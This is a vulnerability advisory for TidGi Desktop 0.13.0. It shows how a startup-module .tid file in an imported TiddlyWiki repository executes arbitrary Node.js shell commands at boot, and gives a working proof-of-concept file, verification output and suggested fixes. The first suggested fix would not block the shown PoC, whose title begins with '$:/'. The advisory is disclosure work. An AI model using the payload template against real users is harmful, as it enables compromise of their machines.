TidGi Desktop Remote Code Execution via Malicious TiddlyWiki Repository Import — Tiddler Startup Module Auto-Execution

Description

TidGi Desktop through 0.13.0 contains a critical remote code execution vulnerability exploitable via a single Git repository import. The vulnerability leverages TiddlyWiki's module system, which automatically discovers and executes JavaScript code embedded in .tid files placed in the wiki's tiddlers/ directory:

1. Auto-loading of .tid files (src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92) — when TidGi boots a wiki workspace, loadWikiTiddlers reads all .tid files from the filesystem and adds them to the wiki store via wiki.addTiddlers().

2. Automatic module registration (node_modules/tiddlywiki/boot/boot.js:2564-2565) — defineTiddlerModules() iterates all tiddlers in the store. Any tiddler with a module-type field is passed to $tw.modules.define(), registering it as an executable module.

3. Automatic startup execution (node_modules/tiddlywiki/boot/boot.js:2572-2634) — all registered modules of type "startup" are collected and their exports.startup() function is called during the boot sequence. When no platforms restriction is set, doesTaskMatchPlatform() returns true, and the startup function executes with full Node.js require() access in the Wiki Worker process.

The full chain was verified on macOS with TiddlyWiki 5.4.0 and Node.js v26 — require('child_process').execSync() successfully executed arbitrary shell commands.

Affected Product

• Product: TidGi Desktop
• Vendor: Lin Onetwo (https://github.com/tiddly-gittly)
• Repository: https://github.com/tiddly-gittly/TidGi-Desktop
• Affected Versions: 0.13.0 (latest release)
• Components: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts (tiddler loading), src/services/wiki/wikiWorker/startNodeJSWiki.ts (wiki boot), node_modules/tiddlywiki/boot/boot.js (TiddlyWiki core — defineTiddlerModules, startup dispatch)
• Package: tidgi (npm)

Vulnerability Details

Root Cause 1 — .tid Files Auto-Loaded Before Module Processing

File: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92

const tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath);

for (const tiddlerFile of tiddlerFiles) {
    // Register file info for filesystem adaptor
    // ...
    // Add tiddlers to wiki
    wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers);   // ← Line 92
}

File: src/services/wiki/wikiWorker/startNodeJSWiki.ts:256

wikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH });

This triggers $tw.boot.startup(), which internally calls loadStartup() → loadTiddlersNode() → $tw.loadWikiTiddlers($tw.boot.wikiPath) (boot.js:2381). TidGi overrides loadWikiTiddlers at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all .tid files from the main wiki's tiddlers/ directory.

Root Cause 2 — Automatic Module Registration via module-type Field

File: node_modules/tiddlywiki/boot/boot.js:1514-1534 — defineTiddlerModules()

$tw.Wiki.prototype.defineTiddlerModules = function() {
    this.each(function(tiddler,title) {
        if(tiddler.hasField("module-type") && (!tiddler.hasField("draft.of"))) {
            switch(tiddler.fields.type) {
                case "application/javascript":
                    $tw.modules.define(
                        tiddler.fields.title,           // "$:/plugins/poc/startup.js"
                        tiddler.fields["module-type"],   // "startup"
                        tiddler.fields.text              // attacker's JS code
                    );
                    break;
            }
        }
    });
};

This function is called during execStartup() (boot.js:2565), after loadStartup() has already loaded all .tid files into the wiki store. Any tiddler with module-type: startup and type: application/javascript is automatically registered as an executable module.

Root Cause 3 — Automatic Startup Execution with Full Node.js Access

File: node_modules/tiddlywiki/boot/boot.js:2572-2576 — Collecting startup modules

$tw.boot.remainingStartupModules = [];
$tw.modules.forEachModuleOfType("startup", function(title, module) {
    if(module.startup) {
        $tw.boot.remainingStartupModules.push(module);  // ← attacker's module collected
    }
});

File: node_modules/tiddlywiki/boot/boot.js:2631-2634 — Executing startup

if(!$tw.utils.hop(task,"synchronous") || task.synchronous) {
    const thenable = task.startup();  // ← exports.startup() called

File: node_modules/tiddlywiki/boot/boot.js:2658-2677 — Platform check (passes without explicit platforms)

$tw.boot.doesTaskMatchPlatform = function(taskModule) {
    var platforms = taskModule.platforms;
    if(platforms) {
        // ... check each platform ...
        return false;  // ← only rejects if platforms is explicitly set
    }
    return true;       // ← no platforms field → passes unconditionally
};

Complete Boot Sequence (verified against TiddlyWiki 5.4.0)

$tw.boot.startup()                              // boot.js:2589
  ├── initStartup()                              // boot.js:2393
  ├── loadStartup()                              // boot.js:2538
  │     └── loadTiddlersNode()                   // boot.js:2356
  │           └── $tw.loadWikiTiddlers(wikiPath)  // boot.js:2381
  │                 └── wiki.addTiddlers(...)     // loads .tid files into store
  └── execStartup()                              // boot.js:2553
        ├── defineShadowModules()                 // boot.js:2564
        ├── defineTiddlerModules()                 // boot.js:2565  ← registers attacker's module
        ├── forEachModuleOfType("startup", ...)   // boot.js:2572  ← collects startup modules
        └── executeNextStartupTask()              // boot.js:2611
              └── task.startup()                  // boot.js:2634  ← exports.startup() executes

Exploitation Conditions

• No authentication required — importing a wiki is a standard feature
• Only user interaction: click "Add Workspace" → select folder/URL → confirm

Complete Attack Flow

┌──────────────────────────────────────────────────────────────┐
│ Step 1: Attacker creates a malicious TiddlyWiki repository   │
├──────────────────────────────────────────────────────────────┤
│  tiddlers/$__plugins__poc__startup.js.tid:                   │
│                                                              │
│    title: $:/plugins/poc/startup.js                          │
│    type: application/javascript                              │
│    module-type: startup                                      │
│                                                              │
│    exports.startup = function() {                            │
│      require('child_process').execSync('calc');              │
│    };                                                        │
│                                                              │
│  + tiddlywiki.info + any other wiki files                    │
└──────────────────────────────────────────────────────────────┘
                          ↓
┌──────────────────────────────────────────────────────────────┐
│ Step 2: Victim imports the repository into TidGi Desktop     │
├──────────────────────────────────────────────────────────────┤
│  Add Workspace → Clone Git Repository / Open Local Folder    │
│  → TidGi boots the wiki                                      │
└──────────────────────────────────────────────────────────────┘
                          ↓
┌──────────────────────────────────────────────────────────────┐
│ Step 3: RCE — startup module auto-executes in Node.js Worker │
├──────────────────────────────────────────────────────────────┤
│  loadWikiTiddlers loads .tid file → wiki.addTiddlers()       │
│  boot.startup() → execStartup()                              │
│  defineTiddlerModules() → $tw.modules.define("startup", ...) │
│  executeNextStartupTask() → exports.startup()                │
│  → require('child_process').execSync('...') executes         │
└──────────────────────────────────────────────────────────────┘

Proof of Concept

Minimal .tid File (place in tiddlers/ directory)

title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup

exports.startup = function() {
  require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
  console.log('STARTUP_EXECUTED');
};

Verification Output (macOS, TiddlyWiki 5.4.0, Node.js v26)

$ node -e "
  const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
  \$tw.boot.argv = ['/tmp/evil-wiki'];
  \$tw.boot.startup();
"
STARTUP_EXECUTED

$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt

The message STARTUP_EXECUTED printed from within the attacker's exports.startup() function, and the file /tmp/TidGi-RCE-PoC.txt was created by execSync('touch ...'), confirming arbitrary command execution.

Impact

Reproduction Evidence

Step 1 — Malicious .tid file content

title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup

exports.startup = function() {
  require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
  console.log('STARTUP_EXECUTED');
};

Step 2 — TiddlyWiki boot with malicious wiki at /tmp/evil-wiki

$ node -e "
  const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
  \$tw.boot.argv = ['/tmp/evil-wiki'];
  \$tw.boot.startup();
"
STARTUP_EXECUTED

Step 3 — Verified RCE: /tmp/TidGi-RCE-PoC.txt created

$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r--  1 nuii  wheel  0 Jun  3 00:01 /tmp/TidGi-RCE-PoC.txt

Patch Recommendation

Fix 1: Disallow module-type on User Tiddlers

TiddlyWiki should distinguish between system tiddlers (shipped with TidGi or installed as official plugins) and user-created tiddlers. User-created tiddlers should never be allowed to define module-type.

// In defineTiddlerModules() or equivalent
if (tiddler.hasField("module-type") && !tiddler.fields.title.startsWith("$:/")) {
    // User tiddler — silently drop module-type field
    return;
}

Fix 2: Sandbox User Modules

If user-created modules must be supported, execute them in a restricted context without access to Node.js built-ins:

// Replace direct require access with a restricted API surface
const vm = require('vm');
const sandbox = { console, $tw, Buffer };
vm.runInNewContext(moduleCode, sandbox, { timeout: 5000 });

Fix 3: Whitelist Allowed module-type Values

Only allow known safe module-type values for user tiddlers:

const ALLOWED_USER_MODULE_TYPES = ['widget', 'macro', 'filter', 'parser'];
if (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields['module-type'])) {
    return; // Block startup, library, saver, etc.
}